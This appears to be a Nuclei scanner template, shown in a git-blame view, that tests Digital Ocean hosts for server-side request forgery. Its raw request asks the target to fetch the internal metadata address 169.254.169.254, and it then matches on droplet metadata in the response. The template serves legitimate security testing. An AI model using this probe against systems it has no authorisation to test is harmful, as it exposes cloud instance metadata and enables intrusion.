2022-12-20 05:21:20 +00:00
|
|
|
id: digital-ocean-ssrf
|
|
|
|
|
|
|
|
info:
|
2022-12-22 05:36:01 +00:00
|
|
|
name: Digital Ocean - Server-side request forgery (SSRF)
|
2022-12-20 05:21:20 +00:00
|
|
|
author: DhiyaneshDk
|
|
|
|
severity: critical
|
2024-01-02 15:45:12 +00:00
|
|
|
description: Digital Ocean instance is vulnerable to SSRF.
|
2022-12-20 05:21:20 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
|
|
|
|
cvss-score: 9.3
|
|
|
|
cwe-id: CWE-441
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: digitalocean,ssrf
|
2022-12-20 05:21:20 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-12-20 05:21:20 +00:00
|
|
|
- raw:
|
|
|
|
- |+
|
|
|
|
GET {{BaseURL}}/metadata/v1.json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |+
|
2022-12-23 17:57:17 +00:00
|
|
|
@tls-sni: {{Hostname}}
|
2022-12-20 05:21:20 +00:00
|
|
|
GET http://169.254.169.254/metadata/v1.json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
unsafe: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-12-20 05:21:20 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '"droplet_id":'
|
|
|
|
- '"hostname":'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-01-15 11:49:24 +00:00
|
|
|
# digest: 4b0a00483046022100fab7cb48dd619e00d662bfa04ff7f860aa39b07b5279bad3742434ea91c935a20221008936afac147b05ff2adc1a72b5e4d54573c8e2e3b9d12991c20187aabbedacf0:922c64590222798bb761d5b6d8e72950
|